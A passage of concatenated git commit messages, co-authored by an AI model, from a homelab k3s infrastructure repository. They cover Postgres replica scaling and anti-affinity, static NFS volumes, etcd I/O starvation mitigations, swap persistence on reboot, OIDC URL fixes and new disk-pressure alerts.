and they WILL on the path that matters: when CNPG recreates an instance after
a node loss, the surviving nodes are the only candidates and one of them
already runs an instance. `preferred` is how a 3-instance cluster decays back
into the single-node failure domain the previous commit exists to remove.
`required` makes it a scheduling constraint. On a 3-node cluster with no
spare, the cost is that an instance whose node is gone stays Pending until a
node returns. That is correct: a replacement squeezed onto an already-occupied
node dies with that node while making the cluster LOOK three-way replicated.
2 of 3 instances still serve and CNPG still promotes.
ALSO SETS primaryUpdateMethod: switchover. This is not cosmetic. Changing the
affinity changes the instance pod spec, so CNPG performs a rolling update, and
the CRD default for primaryUpdateMethod is `restart` (verified against the
live CNPG 1.30.0 CRD on both clusters) — a delete-and-recreate of the PRIMARY
pod, i.e. tens of seconds of no Postgres. On keycloak-db that is an SSO
outage, which also means kubectl OIDC, Grafana, Headlamp, Gitea and
forward-auth. With standbys now present, `switchover` promotes an
already-updated streaming replica instead, reducing the roll to a connection
reset. Known constraint documented in the manifest: under `switchover` the
operator rejects an update that changes imageName and a postgresql parameter
in the same reconcile.
Verified satisfiable before merge (read-only): k3s-prod and k3s-dev each have
3 Ready, schedulable, untainted nodes, and every pgdata PVC already has a
Longhorn replica on all three (replica-soft-anti-affinity=false), so any
instance can attach from any node.
DEV IMPACT: identical, and dev can absorb it. Longhorn dev nodes are 124.9 GiB
each with 152.0 GiB already scheduled under a 200% over-provisioning ceiling
(249.8 GiB); the six new 5Gi volumes add 30 GiB scheduled per node -> 182.0,
still inside the ceiling, and only ~600 MiB per volume is really consumed.
Prod is far looser: 239 -> 269 GiB scheduled against a 829 GiB ceiling.
THIS IS THE DISRUPTIVE COMMIT of the three. Land it on its own reconcile,
after the scale-out has produced two Ready standbys per Cluster, so the blast
radius is one clean switchover per database rather than a scale-out and a roll
at once. Expect a brief SSO interruption for keycloak-db.
Verified: yamllint clean; both tiers render the new fields; field names,
types and enum values checked against the live clusters.postgresql.cnpg.io
CRD (CNPG 1.30.0, identical on prod and dev).
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit e1d364238d73e6ee99c9a50108fe8b4e09481a7e)
The bulk tier's PersistentVolumes need a server address, and there is no single correct one: the
two clusters sit on OPPOSITE SIDES of pfSense from the storage host, which has exactly one
interface (vmbr0 192.168.1.9/24, on pfSense's LAN).
dev 192.168.1.40/.41/.42 — the SAME segment. Reaches it directly, and already holds one NFS
export from it (/mnt/Storage/k8s-volumes, in the host's /etc/exports). Proven path, so
base's default is the dev value per this file's existing convention, and dev restates it.
prod 192.168.2.10/.11/.12 — pfSense's WAN. tcp/2049 does not traverse that today; 22 and 8006
answer only because pfSense port-forwards them via 192.168.2.102. Opening the storage path
is a PENDING operator decision whose two candidate outcomes give DIFFERENT values here:
192.168.2.102 (another port-forward) or 192.168.1.9 (a route). So prod holds
TBD-PROD-BULK-NFS-SERVER, this repo's established loud-placeholder convention.
Two findings recorded in the prod overlay because they change what the operator has to do:
* THE EXPORT'S CLIENT LIST IS THE SAME UNDER BOTH OUTCOMES. Measured today from this
workstation (192.168.2.132) through the existing port-forward: the storage host logged the
connection as coming from 192.168.2.132 — a WAN-side address — not from a pfSense LAN address
(`ss -tn` peer 192.168.2.132; the host's only route off-LAN is its default via 192.168.1.1).
pfSense DNATs WITHOUT source NAT, so the NFS server sees prod's REAL node addresses either
way. The `zfs set sharenfs=` work therefore does not have to wait for the routing decision.
* ONE PORT, NOT FOUR. The PVs mount nfsvers=4.1, and NFSv4 carries mount and lock in-protocol —
no rpcbind/111, mountd or statd. Whichever outcome is chosen, it opens tcp/2049 and nothing
else. NFSv3 would have needed four ports, three of them on ephemeral numbers.
*** AND ONE HONEST WEAKNESS, stated in the overlay where an operator will hit it. ***
Unlike the LAN knobs above it, this placeholder does NOT fail at apply time. A PV's
spec.nfs.server is an unvalidated string: the API server accepts it, the PV is created, and the
PVC BINDS (binding is pure control-plane). The failure appears only when a pod mounts —
MountVolume.SetUp "Failed to resolve server TBD-PROD-BULK-NFS-SERVER" — so plex, sonarr, radarr
and nextcloud would sit in ContainerCreating on prod. There is no CRD validation to lean on here,
so the guard has to be procedural: set the value before prod reconciles a revision carrying the
bulk volumes. Dev renders a working value and is where these manifests are meant to be proven.
Related finding, NOT fixed here because the file does not exist on main: the static guard this
convention is supposed to lean on, `bootstrap/standup.sh`'s `s3_is_placeholder` family, is absent
from main (it lives on unmerged prod branches), so
conformance/tests/l0-static/placeholder-guard-coupling exits 3 SKIPPED and nothing in the gate
currently refuses a placeholder-shaped overlay value. When standup.sh lands, its guard needs an
arm for this knob and a consumer that calls it — assertions (2) and (3) of that check then cover
this value automatically, since the detector's SEED vocabulary already matches "TBD".
Evidence: `kubectl kustomize clusters/dev` -> BULK_NFS_SERVER: 192.168.1.9;
`kubectl kustomize clusters/prod` -> BULK_NFS_SERVER: TBD-PROD-BULK-NFS-SERVER. Both exit 0.
Co-Authored-By: Claude Opus 5 <[email protected]>
The `bulk` class has existed since Phase 0 as a deliberate stub: the StorageClass named an NFS
CSI driver that is not installed and a server/share of REPLACE-ME, so plex, sonarr, radarr and
qbittorrent all carry a comment saying "attach the library once OQ-2 is resolved". This is that
resolution — for the case that actually exists here, which is NOT the case the stub anticipated.
The stub assumed DYNAMIC provisioning: ask a CSI driver for a bulk volume and get a fresh empty
subdirectory. That is the wrong shape for this platform's bulk data. The media library is 8.33 TiB
that already exists, on ZFS datasets on the Proxmox host, with live non-k3s consumers. Nothing
needs provisioning; existing datasets need ATTACHING. So a bulk storage entry now renders a
STATIC, pre-bound NFS PersistentVolume plus its PVC, and needs no CSI driver at all (the in-tree
NFS volume source is not deprecated and has no CSI migration).
Schema 1.4.0 adds, on a storage entry:
export absolute NFS export path; REQUIRED when class is bulk, FORBIDDEN otherwise (an `if`
in the schema, so a bulk entry cannot be authored without saying what it attaches).
subPath mount a subtree instead of the volume root — any class.
readOnly any class; on bulk it also sets the PV's nfs.readOnly, so the mount really is `ro`.
The SERVER is deliberately NOT a schema field. It is the `${BULK_NFS_SERVER}` cluster-vars knob,
because dev and prod reach the SAME storage host by different addresses and R-ENV-02 says the
service definition is authored once. A ServiceDefinition says WHICH dataset; the overlay says
where the host is.
Three decisions worth the reader's time, argued in full in the r_bulk_pvs docstring:
* PV/PVC, not an inline `nfs:` pod volume. Inline is fewer objects and would work. It cannot
express `persistentVolumeReclaimPolicy: Retain`, which is the one property most worth having
in git for 8.33 TiB of data with consumers outside this cluster; it puts read-only enforcement
one Deployment edit away from silent removal; and it is invisible to `kubectl get pv,pvc`,
which is where an operator looks for attached external storage.
* storageClassName: "" on both ends, NOT the `bulk` StorageClass. Explicitly empty is the
canonical marker for a statically provisioned volume. It also sidesteps a trap: a
StorageClass's `provisioner` is IMMUTABLE, so re-pointing the deployed `bulk` stub would make
Flux fail on that object forever.
* Access mode is always `…Many` and follows the read/write posture — ReadOnlyMany for a reader,
ReadWriteMany for a writer. One export is consumed by several namespaces AND several nodes at
once, which is exactly what ReadWriteOnce cannot express; which `Many` it is then makes the
intent legible in `kubectl get pv`.
mountOptions are a platform decision held in the renderer rather than a per-service field:
nfsvers=4.1,hard,noatime,timeo=600,retrans=2. NFSv4 carries mount and lock in-protocol, so the
only port that must be reachable is tcp/2049 — no rpcbind/111, mountd or statd. That is a
firewall decision as much as a storage one. `hard` over `soft` because a soft mount converts a
server hiccup into a short read handed to the application.
The contract doc records the trap that will otherwise be discovered in production: fsGroup is a
NO-OP on an NFS volume (the in-tree plugin does no ownership management), so a writable bulk mount
requires the container's own uid/gid to suit the export's ownership. A mount that succeeds and
then cannot write is this tier's characteristic failure.
Every pre-existing golden renders byte-identical: the new keys are emitted only when declared, and
`readOnly` defaults to False. render-golden: 10/10. selftest: PASS.
Co-Authored-By: Claude Opus 5 <[email protected]>
All three CNPG Clusters ran `instances: 1`. Longhorn's 3-way replication
saves the DATA when a node dies; it does not save the SERVICE — a single
instance has to be rescheduled, re-attach its volume and replay WAL before
Postgres accepts a connection again.
With nothing in the spec keeping them apart, all three primaries had drifted
onto ONE node (k3s-prod-2 on prod, k3s-dev-3 on dev). On 2026-09-07 that node
took SSO, Nextcloud and Semaphore down together, and with SSO went kubectl
OIDC, Grafana, Headlamp, Gitea and forward-auth.
Three instances give each Cluster a streaming standby CNPG can promote in
seconds, repointing the -rw Service with no volume re-attach and no restore.
UNBLOCKED BY WORKING BACKUPS, NOT A SUBSTITUTE FOR THEM. Standbys replicate
corruption and deletions faithfully; only the Barman archive is a backup, and
adding standbys while archive_mode=on with a failing archive_command would
have multiplied the disk-full clock, not hedged it. All three Clusters on
both k3s-prod and k3s-dev now report ContinuousArchiving=True with a real
firstRecoverabilityPoint (verified read-only, 2026-09-07).
Scaling out is non-disruptive on its own: CNPG creates -2 then -3
sequentially, each seeded by pg_basebackup from the RUNNING primary. The
primary is not restarted and clients are not disconnected. The anti-affinity
change that DOES cause a switchover is deliberately the next commit.
DEV IMPACT: identical — dev is on the same shape (three single-instance DBs,
all on k3s-dev-3) and gets the same scale-out. Dev has three untainted nodes
and Longhorn headroom for it (see the next commit's message for the numbers).
Cost: 2 extra 5Gi PVCs per Cluster; ~30 GiB provisioned cluster-wide against
live pgdata of ~600 MiB each, on Longhorn with 200% over-provisioning.
Verified: yamllint clean; `kubectl kustomize --load-restrictor
LoadRestrictionsNone platform-config` and `kubectl kustomize apps/wave-0`
both render `instances: 3`.
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit ed6fe6cb019b96f677a92448a0347f979d1a6d02)
The requirement's literal reading ("no prod-specific artifact in a shared path")
forbids the environment-selected PAIR that R-ENV-02 prescribes for a value that
must differ per environment while the manifests stay identical — and a Secret's
difference cannot live in cluster-vars, because it is ciphertext in a SOPS file.
Drafted wording that keeps the guard's teeth (an artifact only prod APPLIES
still fails) and removes the false positive, for the System Architect: the spec
repo is read-only here and CI-gated by R-TEST-06.
Also recorded, checked rather than assumed: the merge that turned R-ENV-03 red
was gated with a touched-requirement subset that never selected R-ENV-03, so
ci/l0.sh Stage 3b filtered the already-red check out of the run that printed
PASS. Replaying that delivery's twelve paths through
fix/touched-requirements-fail-closed's requirement-paths.map still yields no
R-ENV-03, so landing that branch would NOT have caught this. The two changes
that would (unconditional whole-repo L0 stages; a changed conformance test
attributing its own requirement labels) are ci/ work and are left to that
branch, not smuggled in here.
The blanket regex around RENDERED_DIRS failed any tracked file whose name
carries a delimited `prod` token. That caught the four per-environment backup
credential halves (BACKUP_CREDENTIALS_SUFFIX) even though BOTH halves are
applied to BOTH clusters as base resources and the overlay selects only which
one the shared consumer REFERENCES — i.e. exactly the R-ENV-02 contract the
regex exists to protect. Renaming the files to dodge the regex was rejected as
gaming the guard, so the rule now encodes the property instead.
The fix is not an allowlist of those four paths. A prod-token file in a shared
path is excused only when the tree proves all of:
(A) it declares nothing but Secrets whose names end in the environment suffix
(1) its own directory's kustomization applies it, and EVERY environment value
of the selector resolves to a Secret that some resource of that same
kustomization declares, in the same namespace
(2) nothing names the suffixed Secret — or the suffixed file — literally;
every reference is `<base-name>${VAR}`
(3) that VAR is defined for the base and for every overlay, and prod's value
is the one that selects this file
References are read from parsed YAML values, never raw text: the mechanism is
spelled out by name in comments beside the resources, and a comment references
nothing.
No other assertion is weakened; the check still runs 96 assertions, and the
pass output now notes each excused file and why.
Records the 2026-09-07 I/O-starvation incident and the drive swap: the C400 was
replaced with a Samsung 850 EVO, and under the same load class (an active
18-replica Longhorn rebuild, with node 1 as the write target) I/O pressure fell
from full avg300 11.36 to 3.79 — from ~4x worse than its peers into node 3's band.
Updates the three §0 cells that had become false (disk model, drive health, kernel
— all three nodes now run 7.1.8, not 6.12) and adds §0c rather than rewriting the
'NOT hardware-symmetric' analysis, which is still the correct reasoning about the
state it described.
Two things the rebuild taught, recorded so the next one is cheaper: Longhorn
refuses a replaced disk with DiskFilesystemChanged and needs disable -> remove ->
re-add in that order, and the inventory's [k3s_prod_primary] decides BOTH
--cluster-init and k3s_api_host, so rebuilding the founder without moving that
designation would have founded a second cluster.
The replacement does NOT close §2: etcd and Longhorn still share one SATA spindle.
Co-Authored-By: Claude Opus 5 <[email protected]>
The unit name in the swap-active detail read as an unlabelled aside. Naming it as
the unit that activated the swap is what makes the line actionable.
Co-Authored-By: Claude Opus 5 <[email protected]>
The claim guard builds node_baseline_lh_protected_devices from ansible_mounts plus
`swapon --show`. With swap.target masked, a baselined node has no active swap, so
that half of the list contributes nothing — which reads like a guard that quietly
stopped guarding. It is not: the claim candidate comes from whatever is mounted at
node_baseline_longhorn_claim_mountpoint, and a swap partition is neither mounted nor
ext4, so it could never be the candidate. Say so where the next reader will ask.
Co-Authored-By: Claude Opus 5 <[email protected]>
The WARN read "roles/node_baseline runs swapoff and neutralises the fstab entry;
this node has not been baselined yet". That was a MIS-DIAGNOSIS. All three prod
nodes HAD been baselined, had their fstab swap line commented out by the role, and
were still swapping 977 MiB each after a reboot. Anyone reading that WARN would
have re-run the role that had already run, and watched swap come back next boot.
The detail now names the actual mechanism — systemd-gpt-auto-generator re-creating
a .swap unit from the partition TYPE GUID 0657fd6d-a4ab-43c4-84e5-0933c84b4f4f at
every boot, without reading /etc/fstab — says in as many words that this is not
"the node has not been baselined", and points at `node-baseline.yml --tags system`.
The check was also blind in the other direction: SwapTotal == 0 is not evidence
that swap is disabled, only that nothing has been swapped on yet this boot, so a
node freshly swapoff-ed PASSed while still set to swap again on reboot — exactly
the state the old role left behind. The collector now reports memory.swap_persistence
(swap.target masked?, .swap units the generators emitted this boot, which of them
are masked, leftover active fstab swap lines — all world-readable, no root, no
systemctl parsing), and the check WARNs on "clean now, swapping after the next
reboot".
Rendered against every fact shape (swap active + unmasked, swap off + unmasked,
after the fix, a dev VM with no swap partition at all, per-unit mask only,
persistence unreadable, an older collector's output with the key absent, and
/proc/meminfo unreadable) and verified live on k3s-prod-1 post-reboot:
[PASS] memory.swap — no swap active and none can be activated: swap.target is masked
Co-Authored-By: Claude Opus 5 <[email protected]>
The role's `swapoff -a` + commented fstab line held only until the next boot,
on every prod node. Measured 2026-09-07: all three came back from a reboot with
977 MiB of swap ACTIVE (k3s-prod-1 /dev/sda4, k3s-prod-3 /dev/sda4, k3s-prod-2
/dev/nvme0n1p4) while their fstab swap entry was commented out by this role. The
role reported success and the setting silently expired.
CAUSE. systemd-gpt-auto-generator claims any GPT partition typed
0657fd6d-a4ab-43c4-84e5-0933c84b4f4f ("Linux swap") from the PARTITION TABLE,
synthesises a .swap unit into /run/systemd/generator.late/ and links it into
swap.target.wants/. It never reads /etc/fstab, so neutralising fstab cannot stop
it. Re-running the generator by hand on k3s-prod-1 says so verbatim:
Probed fstype 'swap' on partition /dev/disk/by-diskseq/1-part4.
Adding swap: /dev/disk/by-diskseq/1-part4
MECHANISM. Mask swap.target. `systemctl show` on the generated unit says its only
inbound dependency is `WantedBy=swap.target` — Requires/RequiredBy/BoundBy empty,
and the matching .device unit has an empty Wants=, so a device appearing does not
pull its swap unit in by itself. swap.target is the single choke point for every
activation path: gpt-auto, systemd-fstab-generator, systemd-cryptsetup-generator.
It is device-shape independent (no device name appears in the change, so one task
covers sda4, nvme0n1p4 and dev's vda VMs), boot-safe (swap.target is Wants=/After=
from sysinit.target and After= from tmp.mount; RequiredBy= is EMPTY on all three
prod and all three dev nodes, and a masked unit reached only via Wants= is skipped,
not failed), and inert if the device is absent or renamed. The generated units are
masked too, as a second independent barrier.
Rejected: `systemd.gpt_auto=0` (disables GPT auto-discovery wholesale, needs a GRUB
edit + reboot to become true, and on DEV would switch off root auto-discovery — dev's
vda1 carries the discoverable GUID 4f68bce3-e8cd-4db1-96e7-fbcaf984b709); clearing
the partition's GPT type GUID (a partition-table write to the live boot disk of a node
serving etcd and Longhorn replicas, and an irreversible decision about that 977 MiB
that belongs to the operator); `systemd.swap=0` (systemd-fstab-generator only — this
swap does not come from fstab).
`swapoff -a` is now conditional on `swapon --show` returning something, so the task
reports honestly instead of hiding a command that ran anyway behind changed_when: false.
PROVEN on k3s-prod-1 (all 18 Longhorn volumes healthy before the reboot):
run 1 changed=2, run 2 changed=0
after `reboot`: /proc/swaps empty, `free` Swap 0B, swap.target masked, the
generated unit still emitted by the generator and still masked, `systemctl
--failed` empty, `systemctl is-system-running` = running.
Co-Authored-By: Claude Opus 5 <[email protected]>
Node 1's SSD failed and was replaced; Debian was reinstalled, so node 1 is now a
JOINING node with no cluster state. It was still listed in [k3s_prod_primary],
and that group decides two things at once:
1. which play gets k3s_server_mode: primary -> --cluster-init, which FOUNDS A
NEW CLUSTER, and
2. what k3s_api_host resolves to -- the --server join target.
So re-provisioning node 1 unchanged would have pointed a rebuilt, empty node at
ITSELF and founded a second cluster beside the live one. The role's
`creates: /etc/rancher/k3s/k3s.yaml` guard does not help: on a fresh install that
file is absent, so cluster-init WOULD have run.
Node 2 is the senior surviving server (up since 2026-09-01) and takes the founder
slot. Its own cluster-init task is inert precisely because k3s.yaml already exists
there. Verified after the change: k3s_api_host renders 192.168.2.11, and
groups[k3s_primary_group][0] is k3s-prod-2.
This is a latent gap the role documented but did not handle -- its comment assumes
the founder is always alive ('On a WARM single-node rejoin the founder is up and
answering too'). Rebuilding the founder itself was not covered.
Co-Authored-By: Claude Opus 5 <[email protected]>
infra/PROD-PROVISIONING.md §2 recorded the etcd/Longhorn shared-partition risk as
"accepted to be MEASURED, not assumed", with an exit condition. The measurement
arrived on 2026-09-07 in production, 2 d 7 h after bring-up, as an outage.
§2 now carries "THE MEASUREMENT CAME BACK": the journal evidence, the three-node
IO PSI table (11.36 / 0.75 / 1.29), and the honest verdict that the section's own
premise — "every prod node is SSD or NVMe, where rebuild I/O costs latency rather
than collapsing it" — was right about node 2 and wrong about node 1. A 2011 C400
with 61,440 reallocated sectors and no power-loss protection is not the "SSD" that
reasoning assumed, and §0 had already named the three-way drive asymmetry as the
fault line. The exit condition is OPEN and the second bullet (dedicated device)
applies; that remains the operator's.
Also records what the three software mitigations in this branch do and do not buy,
including the point that no cgroup or scheduler control arbitrates the ext4 journal
both tenants share — and the gap that etcd's own fsync histograms, which the exit
condition literally asks for, are not collected because kubeEtcd is disabled for
k3s. PSI is the signal that exists.
DECISIONS-LOG gains the full entry: the four I/O mechanisms found INERT on these
nodes (IOSchedulingClass, IOSchedulingPriority, io.latency, bare IOWeight), the
finding that concurrentReplicaRebuildPerNodeLimit was already set and already held
during the outage, the third instance of config that looked applied and was not
(orphanAutoDeletion), and the three things still requiring the operator.
infra/ansible/README.md: CORRECTED a stale claim that k3s-prod-2/-3 "stay commented
out" of the inventory. They have been live in [k3s_prod_secondary] since
2026-09-03. That sentence is exactly the kind used to reason about blast radius —
`-e k3s_hosts=k3s_prod` targets THREE hosts, not one — so it is replaced with the
--list-hosts command that settles it. The new etcd-io-priority play is added to the
run order, the layer table and the prod command list.
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit a00a27a2567ea6a805c8c196b75df2c92a7c63a4)
Self-review of the role I had just written. On k3s-prod-2 the scheduler path is
deliberately skipped, so the `stat` on /sys/fs/cgroup/system.slice/k3s.service is
skipped too — and a SKIPPED registration has no `.stat` key at all. Ansible
templates `loop:` BEFORE it evaluates `when:`, so
loop: "{{ ['system.slice'] + (['system.slice/k3s.service']
if _eio_k3s_cgroup.stat.exists else []) }}"
raises on that host even though the task would never have run. The role would have
failed on the one node it is designed to leave alone — and it would have failed at
the very end, after doing nothing, which reads like a broken mitigation rather than
an intentional skip.
`| default(false)` on both uses. Exercised offline against a simulated skipped
registration; `--syntax-check` re-run.
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit 5ccf5111a54857abb934a64c41332b7aa5046323)
roles/etcd_io_priority + playbooks/etcd-io-priority.yml, enabled for [k3s_prod]
only. Mitigation for the 2026-09-07 k3s-prod-1 outage: etcd's WAL fdatasync took
3.4-6.7 s (expects 1 s), the node went NotReady while the host stayed up, and
/proc/pressure/io full avg300 read 11.36 there against 0.75 (node 2, NVMe) and
1.29 (node 3).
WHAT IT DOES, on the SATA nodes only:
1. k3s-etcd-io-priority.service (oneshot, Before=k3s.service) switches the
shared device to BFQ and drops nr_requests 64 -> 32.
2. IOWeight=10000 drop-ins on system.slice AND k3s.service, which BFQ turns
into io.bfq.weight=1000 — a 10:1 share against the default-weighted
kubepods.slice where Longhorn's instance-managers live.
3. Reads all of it back out of the kernel and ASSERTS. If the scheduler did
not switch or the weight did not land, the play fails.
THE THREE OBVIOUS ANSWERS ARE INERT ON THESE NODES, ALL CHECKED LIVE, ALL
DELIBERATELY ABSENT:
* IOSchedulingClass=realtime on k3s.service. mq-deadline DOES honour the
priority class, so this looks right — but ioprio is inherited across fork
and kept across exec (block/blk-ioc.c __copy_io copies ioc->ioprio) and
CONTAINERD IS A CHILD OF THE K3S SERVER PROCESS. Verified on k3s-prod-1:
containerd pid 84553 has ppid 84333 = k3s-server, and
ionice -c2 -n0 -- sh -c 'ionice -p $$; sh -c "ionice -p \$\$"'
prints best-effort prio 0 at both levels. Realtime for k3s is realtime for
every container on the node, Longhorn included. No relative gain.
* IOSchedulingPriority (the level inside a class): mq-deadline buckets by
CLASS only, so BE-0 vs BE-4 is a no-op.
* io.latency, which would be the ideal scheduler-independent protection:
CONFIG_BLK_CGROUP_IOLATENCY is not built in Debian trixie's 7.1.8 kernel
(only IOCOST is) and no io.latency file exists under /sys/fs/cgroup.
AND ONE NON-OBVIOUS TRAP: bare IOWeight= is DECORATION here. systemd writes it
to io.weight (blk-iocost — compiled in but disabled, io.cost.qos is empty) and
io.bfq.weight (BFQ — not loaded). Neither reader exists on the stock nodes, so
the scheduler change and the weights have to be one role with one verification.
The value is 10000 rather than a "reasonable" 1000 for the same reason: systemd
rescales 1..10000 onto io.bfq.weight's 1..1000, so 1000 maps to ~101 against
BFQ's unweighted default of 100. The role asserts the result is >= 500.
k3s-prod-2 IS SKIPPED ON PURPOSE. The role discovers the device under
k3s_data_dir per node (verified: prod-1/3 -> /dev/sda5 -> sda, prod-2 ->
/dev/nvme0n1p5 -> nvme0n1) and writes NOTHING on NVMe rather than leaving inert
files behind — BFQ is a poor fit for NVMe and node 2 measured 0.75 IO PSI.
DEV IS UNTOUCHED. Master switch defaults false and is set true only in
group_vars/k3s_prod; dev has a dedicated etcd device (docs/plans/ssd-etcd-
isolation.md) and nothing to arbitrate. Verified with --list-hosts: no extra
vars -> the three dev hosts (where the role is a no-op); -e k3s_hosts=k3s_prod
-> the three prod hosts; --limit k3s-prod-3 -> one.
NOTHING IS RESTARTED. The oneshot writes two sysfs files; the weights go in
through daemon-reload. If daemon-reload turns out not to re-realize a running
k3s.service's cgroup, the verification FAILS and names the rolling restart as
the fix rather than quietly leaving the weight unapplied.
WHAT IT CANNOT DO, stated in the role README and worth repeating: it does not
separate the two tenants. Both still write one ext4 filesystem, and no cgroup
control arbitrates the shared jbd2 journal that etcd's fdatasync waits on. It is
also UNPROVEN on this hardware — it fails loudly if the settings do not land, it
cannot tell you they helped. Apply to k3s-prod-3 first and watch
NodeIOPressureHigh. Replacing the C400 / giving etcd its own device remains the
real fix and the operator's (PROD-PROVISIONING.md §2 exit condition).
Syntax-checked, and the fact-derivation and assert expressions were exercised
offline against all three node shapes plus negative controls (a node still on
mq-deadline fails the gate; IOWeight=1000 -> 101 fails the floor).
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit de8c1f832724c011b03466842e18296de07a6776)
On 2026-09-07 06:05:21Z k3s-prod-1 went NotReady ("Kubelet stopped posting node
status") with the host up, pingable and SSH-able. The cause was disk I/O
starvation of the embedded etcd, from its own journal:
slow fdatasync took=3.56s / 6.71s / 4.95s / 3.40s (expects 1s)
apply request took too long took=8.30s (expects 100ms)
etcdserver: too many requests
/proc/pressure/io FULL avg300 read 11.36 on k3s-prod-1 against 0.75 on
k3s-prod-2 (NVMe) and 1.29 on k3s-prod-3 — all three nodes put /data/k3s
(etcd's WAL) and /data/longhorn (every replica) on ONE partition, and node 1's
is a 2011 consumer SATA SSD with 61,440 reallocated sectors.
The stack alerted on CPU-PSI and memory and had NO I/O alert at all, so the
first signal the operator got was a node already out of the cluster. Adds:
NodeIOPressureHigh full IO PSI > 5% for 10m warning
NodeIOPressureCritical full IO PSI > 10% for 5m critical
Thresholds are measured, not guessed: rate() is a 0-1 fraction, so the outage's
11.36% is 0.1136 and the healthy steady state on the same node is ~0.01.
Verified live that node-exporter already exports
node_pressure_io_{stalled,waiting}_seconds_total for all three prod nodes, so
these rules fire on arrival — no new exporter, no scrape change. (etcd's own
fsync histograms are NOT available: kube-prometheus-stack's kubeEtcd scrape job
is deliberately disabled for k3s, so PSI is the signal we actually have.)
PSI *full* (every runnable task blocked on disk), not *some*: `some` is noisy on
a storage node and did not separate the failing node from its peers.
Dashboard gains the matching I/O row and is retitled accordingly. Not scoped to
prod — dev shares this file and its k3s VMs are HDD-backed, where the same alert
is if anything more likely to earn its keep.
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit cb28fc80e7e2085d2539530d55f90fc92e3b1bba)
Non-secret, environment-specific values must not live inside an encrypted
Secret: Flux's ${BASE_DOMAIN} substitution rewrites rendered manifest text and
cannot reach inside ciphertext, so such a value silently freezes at whatever
one environment happened to need. Dev was correct only by coincidence (dev IS
the apex); prod was wrong from its first reconcile, for both Headlamp and
Semaphore. StrictPostBuildSubstitutions cannot catch this — there is no
unresolved ${...} to complain about.
Co-Authored-By: Claude Opus 5 <[email protected]>
Shipped in the previous delivery and failing on every run since:
FATAL: cannot read /etc/keycloak-realm-clients (PermissionError)
BackoffLimitExceeded
The client-secrets volume used defaultMode 0400 — owner-only — but the owner of a
projected Secret volume is root, while the pod runs runAsUser/runAsGroup 65532.
The sibling script volume worked only because it is 0444. So the healer that
exists to correct client-secret drift was itself inert.
It failed CLOSED (no writes attempted, no drift introduced), and the two alerts
shipped alongside it are exactly what surfaces this: KeycloakClientSecretReconciler
Failing fires on the failed Jobs. The observability caught its own subject.
Fixed with fsGroup 65532 + defaultMode 0440 rather than relaxing to world-readable
0444: fsGroup makes the projected volume group-owned by the running user, so the
secret stays unreadable to any other uid in the container.
Co-Authored-By: Claude Opus 5 <[email protected]>
Semaphore's whole SEMAPHORE_OIDC_PROVIDERS JSON blob lived inside the SOPS-encrypted
semaphore-bootstrap Secret (key `oidc-providers-json`) because it CONTAINS the confidential
client secret. That buried two environment-specific, NON-SECRET URLs in ciphertext —
provider_url (the realm issuer) and redirect_url — where Flux's ${BASE_DOMAIN} postBuild
substitution cannot reach. Both were frozen at `home.keithjackson.dev`, so prod's Semaphore
was pointed at dev's Keycloak and dev's own redirect URI: identical root cause to the
Headlamp login timeout, not yet reported only because nobody had tried prod SSO.
FIX: split the blob. The URLs are public and now live as a plaintext literal in
catalog/semaphore.yaml (rendered to the apps/wave-1 golden), ${BASE_DOMAIN}-substituted like
every other hostname. Only the client secret stays encrypted, in its own key
`oidc-client-secret`, and the KUBELET splices it back via dependent-env-var expansion:
$(SEMAPHORE_OIDC_CLIENT_SECRET) resolves against the secretKeyRef env var declared
immediately above it (order is load-bearing — the kubelet resolves env in list order and
leaves a forward reference as literal text).
Verified: the new key holds the same value as keycloak-realm-clients/semaphore-client-secret
(the mirror invariant), Semaphore v2.19.10's util.OidcProvider consumes client_secret as
before, and `flux envsubst --strict` leaves $(...) untouched while resolving ${BASE_DOMAIN} —
dev renders keycloak.home.keithjackson.dev, prod keycloak.prod.home.keithjackson.dev.
apps/wave-1/semaphore.yaml is a render golden; regenerated with the canonical
`catalog/render.py --all catalog -o apps --wave-layout --no-image-automation`.
Co-Authored-By: Claude Opus 5 <[email protected]>
The operator could not log in to Headlamp on prod:
Get "https://keycloak.home.keithjackson.dev/realms/homelab/.well-known/openid-configuration":
dial tcp 192.168.1.53:443: i/o timeout
ROOT CAUSE: OIDC_ISSUER_URL and OIDC_CALLBACK_URL were keys INSIDE the SOPS-encrypted
headlamp-oidc-credentials.sops.yaml. Flux's ${BASE_DOMAIN} postBuild substitution rewrites
the RENDERED manifest text and can never reach inside ciphertext, so both values were frozen
at the apex `home.keithjackson.dev` in BOTH environments. Dev IS the apex, so dev looked
correct; prod (BASE_DOMAIN = prod.home.keithjackson.dev) therefore pointed at dev's Keycloak
at 192.168.1.53 — on the dev LAN behind pfSense, unroutable from prod's 192.168.2.0/24.
FIX: an issuer URL and a callback URL are PUBLIC. Move both out of the Secret into the
HelmRelease's spec.values.env, written with ${BASE_DOMAIN} so substitution resolves them per
environment. The Secret keeps only what is genuinely secret or environment-invariant
(OIDC_CLIENT_SECRET, OIDC_CLIENT_ID, OIDC_SCOPES).
Exactly ONE source per variable: the chart renders `env:` after `envFrom:`, and an explicit
env entry silently WINS over the same name from envFrom — so the two sets must not overlap,
and they no longer do. The five load-bearing names the chart's $(...) args require
(OIDC_CLIENT_ID/CLIENT_SECRET/ISSUER_URL/SCOPES/CALLBACK_URL) are all still delivered;
verified by rendering platform/headlamp per overlay, `flux envsubst --strict`, and
`helm template` of chart 0.41.0 against the substituted values.
Side effect, deliberate: naming OIDC_CALLBACK_URL in `env:` makes the chart finally EMIT
`-oidc-callback-url=$(OIDC_CALLBACK_URL)` — it gates that arg on the value being set via
`env:`/`config.oidc`, which a Secret key alone never tripped, so the Secret's callback URL
had been dead weight. The value is byte-identical to the single redirectUri registered on the
Keycloak `headlamp` client (also ${BASE_DOMAIN}-templated), the only URI Keycloak accepts.
[parity] holds: prod's kube-apiserver oidc-issuer-url is an install-time k3s flag from
k3s_base_domain=prod.home.keithjackson.dev, which is exactly what Headlamp now uses.
Co-Authored-By: Claude Opus 5 <[email protected]>
infra/devcontainer/kubeconfig.sh was never staged into the delivery-A commit, so
the branch built on main carried main's single-cluster tooling and `--context
